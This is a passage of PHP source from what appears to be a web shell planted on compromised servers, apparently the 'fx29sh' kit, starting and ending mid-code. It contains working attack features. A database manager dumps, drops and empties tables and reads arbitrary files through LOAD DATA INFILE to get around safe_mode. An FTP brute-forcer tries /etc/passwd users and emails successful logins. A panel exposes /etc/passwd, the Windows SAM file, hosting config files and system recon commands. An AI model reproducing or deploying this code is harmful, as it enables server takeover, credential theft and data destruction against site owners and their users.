htmlspecialchars($sql_passwd); ?>"> <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"> <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"> <input type="text" name="sql_newtbl" size="20"> Fields: <input type="text" name="sql_field" size="3"> <input type="submit" value="Create"> </form> </td> <td><b>Dump DB:</b> <form action="<?php echo $surl; ?>"> <input type="hidden" name="act" value="sql"> <input type="hidden" name="sql_act" value="dump"> <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"> <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"> <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"> <input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> <input type="submit" name="submit" value="Dump"> </form> </td> </tr> </table> <?php if (!empty($sql_act)) { echo "<hr size=\"1\" noshade>"; } if ($sql_act == "newtbl") { echo "<b>"; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) { echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; } else { echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror(); } } elseif ($sql_act == "dump") { if (empty($submit)) { $diplay = FALSE; echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; $v = join (";",$dmptbls); echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; if ($dump_file) {$tmp = $dump_file;} else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; echo "</form>"; } else { $diplay = TRUE; $set = array(); $set["sock"] = $sql_sock; $set["db"] = $sql_db; $dump_out = "download"; $set["print"] = 0; $set["nl2br"] = 0; $set[""] = 0; $set["file"] = $dump_file; $set["add_drop"] = TRUE; $set["onlytabs"] = array(); if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} $ret = mysql_dump($set); if ($sql_dump_download) { @ob_clean(); header("Content-type: application/octet-stream"); header("Content-length: ".strlen($ret)); header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); echo $ret; exit; } elseif ($sql_dump_savetofile) { $fp = fopen($sql_dump_file,"w"); if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} else { fwrite($fp,$ret); fclose($fp); echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; } } else {echo "<b>Dump: nothing to do!</b>";} } } if ($diplay) { if (!empty($sql_tbl)) { if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); $count_row = mysql_fetch_array($count); mysql_free_result($count); $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); $tbl_struct_fields = array(); while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} if (@$sql_ls > @$sql_le) { $sql_le = $sql_ls + $perpage; } if (empty($sql_tbl_page)) { $sql_tbl_page = 0; } if (empty($sql_tbl_ls)) { $sql_tbl_ls = 0; } if (empty($sql_tbl_le)) { $sql_tbl_le = 30; } $perpage = $sql_tbl_le - $sql_tbl_ls; if (!is_numeric($perpage)) { $perpage = 10; } $numpages = $count_row[0]/$perpage; $e = explode(" ",$sql_order); if (count($e) == 2) { if ($e[0] == "d") { $asc_desc = "DESC"; } else { $asc_desc = "ASC"; } $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; } else {$v = "";} $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; $result = mysql_query($query) or print(mysql_smarterror()); echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a> &nbsp; "; echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a> &nbsp; "; echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a> &nbsp; "; echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a> &nbsp; "; if ($sql_tbl_act == "structure") { echo "<b>Under construction!</b>"; } if ($sql_tbl_act == "insert") { if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} if (!empty($sql_tbl_insert_radio)) { echo "<b>Under construction!</b>"; } else { echo "<br><br><b>Inserting row into table:</b><br>"; if (!empty($sql_tbl_insert_q)) { $sql_query = "SELECT * FROM `".$sql_tbl."`"; $sql_query .= " WHERE".$sql_tbl_insert_q; $sql_query .= " LIMIT 1;"; $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); $values = mysql_fetch_assoc($result); mysql_free_result($result); } else {$values = array();} echo "<form method=\"POST\"><table width=\"1%\"><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; foreach ($tbl_struct_fields as $field) { $name = $field["Field"]; if (empty($sql_tbl_insert_q)) {$v = "";} echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; $i++; } echo "</table><br>"; echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; } } if ($sql_tbl_act == "browse") { $sql_tbl_ls = abs($sql_tbl_ls); $sql_tbl_le = abs($sql_tbl_le); echo "<hr size=\"1\" noshade>"; echo "<img src=\"".$surl."act=img&img=multipage\" alt=\"Pages\"> "; $b = 0; for($i=0;$i<$numpages;$i++) { if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} echo $i; if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} else { echo " "; } } if ($i == 0) {echo "empty";} echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>"; echo "<br><form method=\"POST\">\n"; echo "<table><tr>"; echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; for ($i=0;$i<mysql_num_fields($result);$i++) { $v = mysql_field_name($result,$i); if ($e[0] == "a") {$s = "d"; $m = "asc";} else {$s = "a"; $m = "desc";} echo "<td>"; if (empty($e[0])) {$e[0] = "a";} if (@$e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" alt=\"".$m."\"></a>";} echo "</td>"; } echo "<td><font color=\"green\"><b>Action</b></font></td>"; echo "</tr>"; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { echo "<tr>"; $w = ""; $i = 0; foreach ($row as $k=>$v) { $name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++; } if (count($row) > 0) { $w = substr($w,0,strlen($w)-3); } echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; $i = 0; foreach ($row as $k=>$v) { $v = htmlspecialchars($v); if ($v == "") { $v = "<font color=\"green\">NULL</font>"; } echo "<td>".$v."</td>"; $i++; } echo "<td>"; echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">Delete</a> "; echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\">Edit</a> "; echo "</td>"; echo "</tr>"; } mysql_free_result($result); echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" alt=\" ^ \"><select name=\"sql_act\">"; echo "<option value=\"\">With selected:</option>"; echo "<option value=\"deleterow\">Delete</option>"; echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>"; } } else { $result = mysql_query("SHOW TABLE STATUS", $sql_sock); if (!$result) { echo mysql_smarterror(); } else { ?> <form method="POST"> <table> <tr><th><input type="checkbox" name="boxtbl_all" value="1"></th><th>Table</th><th>Rows</th><th>Engine</th><th>Created</th><th>Modified</th><th>Size</th><th>Action</th></tr> <?php $i = 0; $tsize = $trows = 0; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $tsize += $row["Data_length"]; $trows += $row["Rows"]; $size = view_size($row["Data_length"]); ?> <tr> <td><input type="checkbox" name="boxtbl[]" value="<?php echo $row["Name"]; ?>"></td> <td><a href="<?php echo $sql_surl; ?>sql_tbl=<?php echo urlencode($row["Name"]); ?>"><b><?php echo $row["Name"]; ?></b></a></td> <td><?php echo $row["Rows"]; ?></td><td><?php echo $row["Engine"]; ?></td><td><?php echo $row["Create_time"]; ?></td><td><?php echo $row["Update_time"]; ?></td><td><?php echo $size; ?></td> <td><a href="<?php echo $sql_surl; ?>sql_act=query&sql_query=<?php echo urlencode("DELETE FROM `".$row["Name"]."`"); ?>">Empty</a>&nbsp;<a href="<?php echo $sql_surl; ?>sql_act=query&sql_query=<?php echo urlencode("DROP TABLE `".$row["Name"]."`"); ?>">Drop</a>&nbsp;<a href="<?php echo $sql_surl; ?>sql_tbl_act=insert&sql_tbl=<?php echo $row["Name"]; ?>">Insert</a></td> </tr> <?php $i++; } echo "\t\t<tr>\n". "\t\t<th>+</th><th>$i table(s)</th><th>$trows</th><th>$row[1]</th><th>$row[10]</th><th>$row[11]</th><th>".view_size($tsize)."</th><th></th>\n"; ?> </tr> </table> <div align="right"> <select name="sql_act"> <option value="">With selected:</option> <option value="tbldrop">Drop</option> <option value="tblempty">Empty</option>"; <option value="tbldump">Dump</option>"; <option value="tblcheck">Check table</option>"; <option value="tbloptimize">Optimize table</option>"; <option value="tblrepair">Repair table</option>"; <option value="tblanalyze">Analyze table</option>"; </select> <input type="submit" value="Confirm"> </div> </form> <?php mysql_free_result($result); } } } } } else { $acts = array("","newdb","serverstatus","servervars","processes","getfile"); if (in_array($sql_act,$acts)) { ?> <table> <tr> <td><b>Create new DB:</b> <form action="<?php echo $surl; ?>"> <input type="hidden" name="act" value="sql"> <input type="hidden" name="sql_act" value="newdb"> <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"> <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"> <input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"> </form> </td> <td><b>View File:</b> <form action="<?php echo $surl; ?>"> <input type="hidden" name="act" value="sql"> <input type="hidden" name="sql_act" value="getfile"> <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"> <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"> <input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"> </form> </td> </tr> </table> <?php } ##[ SQL ACTIONS ]## if (!empty($sql_act)) { echo "<hr size=\"1\" noshade>"; if ($sql_act == "newdb") { echo "<b>"; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} } if ($sql_act == "serverstatus") { $result = mysql_query("SHOW STATUS", $sql_sock); echo "<center><b>Server-status variables:</b><br><br>"; echo "<table><td><b>Name</b></td><td><b>Value</b></td></tr>"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} echo "</table></center>"; mysql_free_result($result); } if ($sql_act == "servervars") { $result = mysql_query("SHOW VARIABLES", $sql_sock); echo "<center><b>Server variables:</b><br><br>"; echo "<table><td><b>Name</b></td><td><b>Value</b></td></tr>"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} echo "</table>"; mysql_free_result($result); } if ($sql_act == "processes") { if (!empty($kill)) { $query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Process #".$kill." was killed.</b>"; } $result = mysql_query("SHOW PROCESSLIST", $sql_sock); echo "<center><b>Processes:</b><br><br>"; echo "<table><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} echo "</table>"; mysql_free_result($result); } if ($sql_act == "getfile") { $tmpdb = $sql_login."_tmpdb"; $select = mysql_select_db($tmpdb); if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} if ($select) { $created = FALSE; mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); $result = mysql_query("SELECT * FROM tmp_file;"); if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} else { for ($i=0;$i<mysql_num_fields($result);$i++) { $name = mysql_field_name($result,$i); } $f = ""; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $f .= join ("\r\n",$row); } if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} mysql_free_result($result); mysql_query("DROP TABLE tmp_file;"); } } mysql_drop_db($tmpdb); } } } } ?> </td> </tr> <?php if ($sql_sock) { $affected = @mysql_affected_rows($sql_sock); if ((!is_numeric($affected)) or ($affected < 0)) { $affected = 0; } echo "\t<tr><th colspan=2>Affected rows: $affected</th></tr>"; } ?> </table> <!-- End of SQL Manager --> <?php } if ($act == "ftpquickbrute") { echo "<table>\n"; echo "<tr><td class=\"barheader\" colspan=2>.: Ftp Quick Brute :.</td></tr>"; echo "<tr><td>"; if (!empty($submit)) { if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} $fp = fopen("/etc/passwd","r"); if (!$fp) {echo "Can't get /etc/passwd for password-list.";} else { if ($fqb_logging) { if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} else {$fqb_logfp = FALSE;} $fqb_log = "FTP Quick Brute (".sh_name().") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} } @ob_flush(); $i = $success = 0; $ftpquick_st = getmicrotime(); while(!feof($fp)) { $str = explode(":",fgets($fp,2048)); if (fx29ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} $success++; ob_flush(); } if ($i > $fqb_lenght) {break;} $i++; } if ($success == 0) { echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n"; } $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font class=on><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} if ($fqb_logemail) {@mail($fqb_logemail,"".sh_name()." report",$fqb_log);} fclose($fqb_logfp); } } else { $logfile = $tmp_dir."fx29sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); echo "<form name=\"f_ftpqb\" action=\"".$surl."\">\n". "<input type=hidden name=act value=\"ftpquickbrute\">\n". "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>". "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>". "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>". "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>". "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>". "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>"; } echo "</td></tr></table></center>"; } ##[ SECURITY ]## if ($act == "security") { ?> <div class=barheader>.: Server Security Information :.</div> <table class="contents"> <tr><td>Open Base Dir</td><td><?php echo $hopenbasedir; ?></td></tr> <td>Password File</td><td> <?php if (!is_windows()) { if ($nixpasswd) { if ($nixpasswd == 1) { $nixpasswd = 0; } if (!is_numeric($nixpwd_s)) { $nixpwd_s = 0; } if (!is_numeric($nixpwd_e)) { $nixpwd_e = $nixpwdperpage; } ?> *nix /etc/passwd:<br> <form name="f_pwd" action="<?php echo $surl; ?>"> <input type="hidden" name="act" value="security"> <input type="hidden" name="nixpasswd" value="1"> <b>From:</b> <input type="text" name="nixpwd_s" value="<?php echo $nixpwd_s; ?>"> <b>To:</b> <input type="text" name="nixpwd_e" value="<?php $nixpwd_e; ?>"> <input type="submit" value="View"> </form><br> <?php $i = $nixpwd_s; while ($i < $nixpwd_e) { $uid = posix_getpwuid($i); if ($uid) { $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; echo "\t\t".join(":",$uid)."<br>\n"; } $i++; } } else { echo "\t<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>View /etc/passwd</b></a>\n"; } } else { $v = $_SERVER["WINDIR"].'\repair\sam'; if (file_get_contents($v)) { echo "\t<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b></a>\n"; } } ?> </td></tr> <tr><td>Config Files</td><td> <?php if (!is_windows()) { $v = array( array("User Domains","/etc/userdomains"), array("Cpanel Config","/var/cpanel/accounting.log"), array("Apache Config","/usr/local/apache/conf/httpd.conf"), array("Apache Config","/etc/httpd.conf"), array("Syslog Config","/etc/syslog.conf"), array("Message of The Day","/etc/motd"), array("Hosts","/etc/hosts") ); $sep = "/"; } else { $windir = $_SERVER["WINDIR"]; $etcdir = $windir.'\system32\drivers\etc\\'; $v = array( array("Hosts",$etcdir."hosts"), array("Local Network Map",$etcdir."networks"), array("LM Hosts",$etcdir."lmhosts.sam"), ); $sep = "\\"; } foreach ($v as $sec_arr) { $sec_f = substr(strrchr($sec_arr[1], $sep), 1); $sec_d = rtrim($sec_arr[1],$sec_f); $sec_full = $sec_d.$sec_f; $sec_d = rtrim($sec_d,$sep); if (file_get_contents($sec_full)) { echo "\t[ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0]."</b></a> ]\n"; } } ?> </td></tr> <?php function dispsecinfo($name,$value) { if (!empty($value)) { echo "\t<tr><td>".$name."</td><td>\n". "<pre>".wordwrap($value,100)."</pre>\n". "\t</td></tr>\n"; } } if (!is_windows()) { dispsecinfo("OS Version",fx29exec("cat /proc/version")); dispsecinfo("Kernel Version",fx29exec("sysctl -a | grep version")); dispsecinfo("Distrib Name",fx29exec("cat /etc/issue.net")); dispsecinfo("Distrib Name (2)",fx29exec("cat /etc/*-realise")); dispsecinfo("CPU Info",fx29exec("cat /proc/cpuinfo")); dispsecinfo("RAM",fx29exec("free -m")); dispsecinfo("HDD Space",fx29exec("df -h")); dispsecinfo("List of Attributes",fx29exec("lsattr -a")); dispsecinfo("Mount Options",fx29exec("cat /etc/fstab")); dispsecinfo("lynx installed?",fx29exec("which lynx")); dispsecinfo("links installed?",fx29exec("which links")); dispsecinfo("GET installed?",fx29exec("which GET")); dispsecinfo("Where is Apache?",fx29exec("whereis apache")); dispsecinfo("Where is perl?",fx29exec("whereis perl")); dispsecinfo("Locate proftpd.conf",fx29exec("locate proftpd.conf")); dispsecinfo("Locate httpd.conf",fx29exec("locate httpd.conf")); dispsecinfo("Locate my.conf",fx29exec("locate my.conf")); dispsecinfo("Locate psybnc.conf",fx29exec("locate psybnc.conf")); } else { dispsecinfo("OS Version",fx29exec("ver")); dispsecinfo("Account Settings",fx29exec("net accounts")); dispsecinfo("User Accounts",fx29exec("net user")); } echo "</table>\n"; } ##[ MAKE FILE ]## if ($act == "mkfile") { if ($mkfile != $d) { if ($overwrite == 0) { if (file_exists($mkfile)) { echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile); } } else { if (!fopen($mkfile,"w")) { echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile); } else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) { $d .= DIRECTORY_SEPARATOR; } $f = basename($mkfile); } } } else { disp_error("Enter filename!"); } } ##[ ENCODER ]## if ($act == "encoder") { if (!isset($encoder_input)) { $encoder_input = ""; } ?> <script language="javascript"> function set_encoder_input(text) { document.forms.encoder.input.value = text; }</script> <form name="encoder" action="<?php echo $surl; ?>" method=POST> <input type="hidden" name="act" value="encoder"> <table class="contents"> <tr><td colspan="4" class="barheader">.: Encoder :.</td></tr> <tr><td colspan="2">Input:</td><td><textarea name="encoder_input" id="input" cols="70" rows="5"><?php echo @htmlspecialchars($encoder_input); ?></textarea><br> <input type="submit" value="Calculate"> </td></tr> <tr><td rowspan="4">Hashes:</td> <?php foreach(array("md5","crypt","sha1","crc32") as $v) { ?> <td><?php echo $v; ?>:</td><td><input type="text" size="50" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<?php echo $v($encoder_input); ?>" readonly> </td></tr> <tr> <?php } ?> </tr> <tr><td rowspan=2>Url:</td> <td>urlencode:</td><td><input type="text" size="35" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<?php echo urlencode($encoder_input); ?>" readonly> </td></tr> <tr><td>urldecode:</td><td><input type="text" size="35" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<?php echo htmlspecialchars(urldecode($encoder_input)); ?>" readonly> </td></tr> <tr><td rowspan=2>Base64:</td> <td>base64_encode:</td><td><input type="text" size="35" onFocus="this.select()" onMouseover="this.select()" onMouseout="this.select()" value="<?php echo base64_encode($encoder_input); ?>" readonly> </td></tr> <tr><td>base64_decode:</td> <td> <?php if (base64_encode(base64_decode($encoder_input)) != $encoder_input) { ?> <input type="text" size="35" value="Failed!" disabled readonly> <?php } else { $debase64 = base64_decode($encoder_input); $debase64 = str_replace("\0","[0]",$debase64); $a = explode("\r\n",$debase64); $rows = count($a); $debase64 = htmlspecialchars($debase64); if ($rows == 1) { echo "\t\t<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; } else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; } echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>\n"; } echo "\t\t</td></tr>\n". "\t\t<tr><td>Base convertations:</td><td>dec2hex</td><td>". "<input type=\"text\" size=\"35\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"\""; $c = strlen($encoder_input); for 